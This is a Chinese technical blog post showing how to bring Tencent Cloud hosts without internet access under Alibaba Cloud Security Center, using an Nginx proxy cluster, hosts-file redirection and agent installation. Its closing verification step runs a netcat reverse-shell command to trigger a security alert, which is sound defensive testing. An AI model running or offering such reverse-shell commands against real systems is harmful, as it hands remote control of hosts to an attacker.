多云场景下主机安全防护

周金龙
  • 收获赞:9
  • 擅长领域:云计算布道师;擅长领域:IT治理、架构设计

本文介绍如何使用阿里云的云安全中心去管理其他云厂商(腾讯云)主机。

背景

前两天跟一个新金融客户交流Landing Zone,客户提出目前业务是多云部署,管理多朵云上安全比较麻烦。有多套管理系统,实施成本也高。当前阿里云的云安全中心提供了多云安全管理能力。

网络架构

image.png

备注:

线下IDC服务器理解为其他云厂商主机。这些云主机大部分是无法直接出公网的(客户有这方面的安全要求)。

步骤

前置条件

  • 在腾讯云购买两台能够访问外网的虚拟机,主机名分别为:cvm-cls1、cvm-cls2。

  • 这2台CVM需要安装GCC和Zlib-devel,已下载支持反向代理的Nginx版本。下载支持反向代理的Nginx版本,请单击支持反向代理的Nginx版本下载。

  • 在腾讯云购买1台无法访问外网的虚拟机(cvm-cls3),核心就是验证这台虚拟机是否能够被阿里云安全中心防护。

操作流程

如果需要在无法访问公网的服务器上部署云安全中心Agent,并实现在阿里云控制台统一管控线下IDC服务器,需要按照以下流程进行操作:

  1. 搭建腾讯云内部Proxy集群,实现腾讯云内的服务器与公网通信。

  2. 修改hosts文件、本地DNS连通Proxy集群和腾讯云内的服务器。

  3. 在腾讯云内的服务器上安装云安全中心Agent客户端,开启云安全中心对腾讯云服务器的安全防护。

搭建Proxy反向代理集群

云安全中心客户端通过两个域名分别连接Proxy集群中的长连接服务器和HTTP服务器。

注意

长连接代理和HTTP代理需要分别部署在不同代理服务器上,即至少需要两台服务器搭建Proxy集群。

  • 配置长连接代理服务器(cvm-cls1)

  1. TCP长连接使用四层代理。下载Nginx后,执行以下编译命令安装Nginx。执行编译命令时需要加上--with-stream参数。

tar -xvf nginx-1.9.0.tar.gz
cd nginx-1.9.0
./configure --without-http_rewrite_module --with-stream
make
make install

注意!安装过程中遇到的2个小问题:

问题1:
$ make
/ngx_murmurhash.c:37:11: error: this statement may fall through [-Werror=implicit-fallthroug

解决办法:
$ vi /objs/Makefile 
将CFLAGS =  -pipe  -O -W -Wall -Wpointer-arith -Wno-unused-parameter -Werror -g 
这里的-Werror去掉。

问题2:
$ make
nginx ‘struct crypt_data’ has no member named ‘current_salt’ 

解决办法
原因是:服务器版本高的问题

解决办法:
在nginx安装文件夹
$ vim src/os/unix/ngx_user.c
/* cd.current_salt[0] = ~salt[0];*/  将这行注释掉

  1. 在Nginx配置文件所在目录下,参考以下内容修改nginx.conf文件。

#user  nobody;
worker_processes  auto;

error_log  logs/error.log;


events {
    use     epoll;
    worker_connections  60000;
}


stream {
        server {
            listen 80;
            proxy_timeout 20m;
            proxy_connect_timeout 60s;
            proxy_pass app;
        }

        upstream app {
           server jsrv.aegis.aliyun.com:80;
        }
}
  1. 配置文件修改完成后,重新启动Nginx。

  • 配置HTTP代理服务器(cvm-cls2)

  1. HTTP连接使用四层代理。下载Nginx后,执行以下编译命令安装Nginx。执行编译命令时需要加上--with-stream参数。

./configure --without-http_rewrite_module --with-stream
make
make install
  1. 在Nginx配置文件所在目录下,参考以下内容修改nginx.conf文件。

#user  nobody;
worker_processes  auto;

error_log  logs/error.log;


events {
    use     epoll;
    worker_connections  60000;
}


stream {
        upstream updatessl {
            server update.aegis.aliyun.com:443;
        }
        server {
            listen 443;
            proxy_connect_timeout 60s;
            proxy_pass updatessl;
        }
        upstream updatehttp {
            server update.aegis.aliyun.com:80;
        }
        server {
            listen 80;
            proxy_connect_timeout 60s;
            proxy_pass updatehttp;
        }
  }
  1. 配置文件修改完成后,重新启动Nginx。

Proxy集群连通IDC内部服务器

以下方法均可使Proxy集群连通腾讯云内部服务器

  • 修改腾讯云服务器的hosts文件(cvm-cls3)

修改服务器的hosts文件,将本地主机对云安全中心域名的访问转到Proxy集群。在hosts文件内添加域名绑定记录,将云安全中心使用的所有域名绑定为Proxy地址。

注意 jsrv相关域名对应host绑定长连接代理服务器地址;alicdn和update相关域名对应host绑定HTTP代理服务器地址。

以下是需要添加的域名绑定记录,其中xx.xx.xx.xx为腾讯云内服务器可访问的Proxy集群地址。

xx.xx.xx.xx jsrv.aegis.aliyun.com
xx.xx.xx.xx jsrv2.aegis.aliyun.com
xx.xx.xx.xx jsrv3.aegis.aliyun.com
xx.xx.xx.xx jsrv4.aegis.aliyun.com
172.17.0.16 jsrv5.aegis.aliyun.com
xx.xx.xx.xx aegis.alicdn.com
xx.xx.xx.xx update.aegis.aliyun.com
xx.xx.xx.xx update2.aegis.aliyun.com
xx.xx.xx.xx update3.aegis.aliyun.com
xx.xx.xx.xx update4.aegis.aliyun.com
172.17.0.7  update5.aegis.aliyun.com

在腾讯云虚拟机上安装云安全中心Agent

操作步骤:

  1. 登录云安全中心控制台,在左侧导航栏,单击设置

  2. 设置页面的安装/卸载插件页签下,单击客户端安装指南页签,查看手动安装Agent插件的命令。

  • 使用默认命令客户端安装指南页面为您提供4条默认命令。如果您无需生成命令镜像或不需要自动添加服务器到指定的资产分组,您可以按照自己服务器和操作系统类型选择对应的安装命令,直接复制并在服务器中执行该命令安装客户端。

指令:

wget "http://aegis.alicdn.com/download/install/2.0/linux/AliAqsInstall.sh" && chmod +x AliAqsInstall.sh && ./AliAqsInstall.sh  -k=6nPnV9

安装过程:

[root@VM-0-11-centos ~]# chmod +x AliAqsInstall.sh
[root@VM-0-11-centos ~]# ./AliAqsInstall.sh  -k=6nPnV9
OS is 64bit platform
downloading install package...
start download from script
--2022-07-14 11:06:04--  http://aegis.alicdn.com/download/install/2.0/linux/AliAqsInstall_64
Resolving aegis.alicdn.com (aegis.alicdn.com)... 172.17.0.7
Connecting to aegis.alicdn.com (aegis.alicdn.com)|172.17.0.7|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3703944 (3.5M) [application/octet-stream]

这台不能上公网的服务器通过Proxy代理,下载相应的安装包并执行安装指令。

在云安全中心查看到这台虚拟机

截屏2022-07-14 上午11.10.50.png

接入多云资产

接入第三方服务器资产后,该服务器信息会同步到资产中心,便于云安全中心进行统一防护和管理。

  1. 登录云安全中心控制台

  2. 在左侧导航栏,单击设置,在设置页面,单击多云配置管理页签。

  3. 多云配置管理页签中,单击多云资产,然后单击新增授权

  4. 接入云外资产抽屉面板中,选择需要接入的多云服务商,单击下一步

  5. 按照指引完成腾讯云子账号的创建。支持选择快速配置方案手动配置方案。本文档选择快速配置方案。

  • 快速配置方案:通过获取到的第三方云服务器主账号AK,由云安全中心自动为您创建子账号AK,建立第三方服务器和云安全中心服务之间的连接。选择该方案后,接入步骤如下:

  1. 登录第三方服务器的管理控制台。

  2. 获取第三方云服务器主账号的AccessKey ID和Access Secret。您可以根据云安全中心控制台的多云配置管理页签,查看具体的操作引导。说明 云账号默认不提供主账号AK信息,需要您手动创建AK。

  3. 返回云安全中心控制台,打开接入云外资产抽屉面板,并选择快速配置方案

  4. 单击下一步

  5. 提交AK向导页面,粘贴在步骤b中获取的主账号AK信息。

  6. 单击确定。完成此步骤后,您的第三方云服务器会接入到云安全中心。后续该主账号AK所子账号下新增的第三方云服务器将自动同步到云安全中心。

  7. 单击同步最新资产,立即将资产同步到云安全中心。如果您未手动同步最新资产,云安全中心会在一小时后自动同步。

查看最新资产列表:

截屏2022-07-14 上午11.12.57.png

注意!其中第一台cvm-cls3这台主机是安装了Agent。其他2台是Proxy主机,没安装Agent.

功能验证

NC反弹Shell

在cvm-cls3这台主机上面执行如下指令:

nc -e /bin/bash 192.168.0.155 10013

云安全中心异常告警

截屏2022-07-14 上午11.25.35.png

参考文档

https://help.aliyun.com/document_detail/166216.html

https://help.aliyun.com/document_detail/68597.html